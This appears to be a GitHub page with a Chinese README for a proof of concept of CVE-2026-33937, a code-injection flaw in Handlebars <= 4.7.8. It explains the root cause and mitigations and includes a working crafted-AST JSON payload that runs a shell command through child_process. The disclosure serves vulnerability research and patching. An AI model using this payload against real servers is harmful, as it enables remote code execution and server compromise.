dinhvaren/cve-2026-33937

GitHub: dinhvaren/cve-2026-33937

Handlebars模板引擎AST注入漏洞的概念验证,演示如何通过恶意AST对象实现远程代码执行。

Stars: 0 | Forks: 0

# CVE-2026-33937 - Handlebars RCE 漏洞 PoC ## 描述 CVE-2026-33937 是 Handlebars 中的一个严重远程代码执行 (RCE) 漏洞,由对抽象语法树 (AST) 输入的不安全处理引起。 该漏洞允许攻击者通过向 `Handlebars.compile()` 提供特制的 AST 对象来注入任意 JavaScript 代码。 ## 根本原因 `Handlebars.compile()` 接受以下两种输入: - 模板字符串 - 预解析的 AST 对象 当提供 AST 对象时,解析阶段会被跳过。 内部: ``` lib/handlebars/compiler/javascript-compiler.js ``` 函数: ``` NumberLiteral(number) { this.pushStackLiteral(number.value); } ``` 直接将 `number.value` 插入生成的 JavaScript 代码中,**未经过清理或转义**,从而导致代码注入。 ## 影响 * 远程代码执行 (RCE) * 服务器完全沦陷 * Node.js 环境中的任意 JavaScript 执行 ## 漏洞利用流程 ``` Attacker → Crafted AST (JSON) │ ▼ Handlebars.compile() │ ▼ Compiler.compile() │ ▼ JavaScriptCompiler (NumberLiteral injection) │ ▼ Code generation │ ▼ new Function(...) / eval() │ ▼ RCE ``` ## 概念验证 (PoC) ``` { "type": "Program", "body": [ { "type": "MustacheStatement", "path": { "type": "PathExpression", "data": false, "depth": 0, "parts": ["lookup"], "original": "lookup", "loc": null }, "params": [ { "type": "PathExpression", "data": false, "depth": 0, "parts": [], "original": "this", "loc": null }, { "type": "NumberLiteral", "value": "{},{})) + process.getBuiltinModule('child_process').execFileSync('id').toString() //", "original": 1, "loc": null } ], "escaped": true, "strip": { "open": false, "close": false }, "loc": null } ], "strip": {}, "loc": null } ``` ## 受影响版本 * Handlebars <= 4.7.8 ## 缓解措施 * 禁止不受信任的 AST 输入 * 验证并清理所有模板输入 * 升级到已修补的 Handlebars 版本 ## 参考 * NVD: [https://nvd.nist.gov/vuln/detail/CVE-2026-33937](https://nvd.nist.gov/vuln/detail/CVE-2026-33937)
标签:0day, AST注入, CISA项目, CMS安全, CVE-2026-33937, GNU通用公共许可证, Handlebars, Homebrew安装, JavaScript, MITM代理, Node.js, PoC, RCE, 数据可视化, 暴力破解, 模板引擎, 沙箱逃逸, 编程工具, 网络安全, 自定义脚本, 远程代码执行, 隐私保护